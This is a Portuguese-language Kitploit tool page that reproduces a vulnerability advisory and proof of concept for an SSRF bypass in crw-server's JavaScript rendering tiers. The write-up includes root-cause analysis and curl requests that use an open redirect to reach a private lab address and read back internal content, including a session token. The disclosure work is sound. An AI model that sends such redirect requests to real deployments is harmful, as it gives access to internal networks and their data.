Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
crw-PoC — PoC — SSRF via bypass da camada de renderização JS do filtro de segurança de URL no crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit
Ferramentas/GitHubGitHub/squeeze440/crw-poc
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de Penetração
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF via bypass da camada de renderização JS do filtro de segurança de URL no crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Ver Repositório
18há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

crw: aviso de segurança

Status do CVE: solicitado, aguardando atribuição. Esta descoberta é publicada como GHSA-5jp3-339h-vxqw. Após a atribuição do CVE, este repositório é renomeado CVE-YYYY-NNNNN-crw-PoC e este banner é substituído pelo link do CVE.

PesquisadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (Alto)
FraquezaCWE-918

Resumo

Em crw-server, a lista de permissão/negação de SSRF (crw_core::url_safety) é aplicada apenas uma vez, contra a url fornecida pelo chamador, antes que a requisição seja despachada para um renderizador; as camadas de renderização de JS orientadas por CDP (LightPanda — o renderizador JS padrão — e Chrome) então conduzem a página de destino via Page.navigate e seguem cada redirecionamento subsequente, navegação acionada por JS e XHR/fetch na página inteiramente dentro da própria pilha de rede do navegador, sem nenhuma chamada adicional a url_safety em momento algum, permitindo que um chamador autenticado (ou, em uma implantação padrão sem chave, não autenticado) que defina renderJs:true faça o crawler pivotar para o espaço de endereços RFC1918/loopback/link-local por meio de um único redirecionamento aberto externo e leia de volta a resposta do serviço interno no corpo da resposta da API.

Produto

fastCRW / crw — crw-server (API REST, também acessível de forma idêntica através da camada de ferramenta MCP em processo crw-mcp, que chama o mesmo caminho de código crw_server::routes::mcp::call_tool).

Versão Testada

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, ponta de main no momento do teste), compilado e executado via o próprio docker-compose.yml --profile heavy do projeto.

CVSS v3.1 Estimado

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (Alto)

  • PR:N: o padrão de auto-hospedagem fornecido (config.docker.toml) não possui seção [auth]/api_keys, correspondendo ao padrão "aberto por design" já documentado em GHSA-qq8c-fch4-cxq7. Uma implantação que de fato configura chaves de API rebaixa isso para PR:L (qualquer locatário autenticado individual ainda pode pivotar o mecanismo compartilhado para qualquer rede interna em que ele seja executado) — o bug não é mitigado pela adição de chaves, apenas recondicionado.
  • I:N/A:N: o PoC demonstra a leitura de volta de uma resposta HTTP interna (confidencialidade). Nenhuma ação de escrita/alteração de estado contra um alvo interno foi exercida ou é alegada.
  • S:U: a divulgação é mediada inteiramente através do próprio canal de resposta da API do componente vulnerável.

Detalhes

Causa raiz: o caminho do renderizador CDP/navegador nunca chama crw_core::url_safety após a única verificação feita na camada de rota.

  • crates/crw-server/src/routes/scrape.rs:29-34 (identicamente em crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — a única verificação de SSRF em todo o ciclo de vida da requisição para uma requisição renderizada por JS: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) é executada uma vez contra a url literal do chamador, antes que o renderizador seja invocado.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — o futuro work de fetch_inner envia Page.navigate com a url bruta diretamente para o endpoint CDP (compartilhado tanto pela camada chrome quanto pela lightpanda — ambas falam CDP através desta mesma função). Chrome/LightPanda então realiza sua própria resolução DNS e segue qualquer redirecionamento do lado do servidor, <meta http-equiv="refresh"> ou mudança de location via JS internamente. Nenhuma chamada a url_safety existe em qualquer lugar de cdp.rs.
  • crates/crw-renderer/src/blocklist.rs:1-124 — a única lógica de interceptação Fetch.requestPaused por requisição que é executada durante uma renderização CDP (conectada em cdp.rs por volta das linhas 930-1002). Ela filtra hosts de anúncios/rastreadores e tipos de recursos bloqueados (imagens, fontes, etc.) apenas por razões de largura de banda/ruído — nunca verifica o destino de uma requisição contra faixas privadas/loopback/link-local.
  • crates/crw-crawl/src/single.rs:559-569 — o único lugar onde o final_url pós-navegação é inspecionado. redirect_is_material() apenas decide se deve anexar uma string cosmética "redirected_to: <url>" a data.warnings (para sinalizar "você obteve a página errada", conforme o comentário que faz referência a northernair.ca) — nunca chama url_safety::validate_safe_url* e nunca falha a requisição.
  • Contraste: crates/crw-renderer/src/http_only.rs:291 — a camada HTTP simples (não-JS) envolve corretamente seu reqwest::Client em crw_core::url_safety::safe_redirect_policy(), que revalida (com resolução DNS) cada salto de redirecionamento. Esta é exatamente a proteção ausente nas camadas CDP. Confirmado dinamicamente: a mesma requisição PoC com renderJs:false é corretamente rejeitada ("error following redirect", veja a captura de tela de linha de base).

Prova de Conceito

Confirmado dinamicamente contra a própria pilha docker-compose.yml --profile heavy do projeto (crw + lightpanda + chrome, compilada a partir do commit testado).

  1. Levantou-se um substituto de "serviço interno" na mesma rede bridge do Docker que crw/chrome/lightpanda (docker network: source_default), no endereço privado 172.19.0.6 — um contêiner nginx simples servindo uma página com conteúdo realista de aparência interna (título "Internal Ops Console", um valor com formato de token de sessão).
  2. Linha de base — confirmar que o filtro funciona normalmente:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (captura de tela: evidence/ssrf_baseline_blocked.png)
  3. Bypass — mesmo redirecionamento, camada de renderização JS solicitada:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Resultado: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — o conteúdo do servidor interno é retornado ao chamador; o próprio aviso redirected_to da ferramenta mostra que ela sabe que seguiu a requisição para o endereço bloqueado e retorna o conteúdo mesmo assim. (captura de tela: evidence/ssrf_chrome_tier_bypass.png)
  4. Confirmou-se que o bypass também dispara na cadeia de fallback padrão sem fixação explícita de renderizador ("renderJs":true sozinho — a maneira comum pela qual um chamador solicita renderização JS): a escada escolheu lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") e retornou o mesmo conteúdo interno, provando que ambas as camadas CDP (não apenas chrome) compartilham a lacuna.
Baixar ferramenta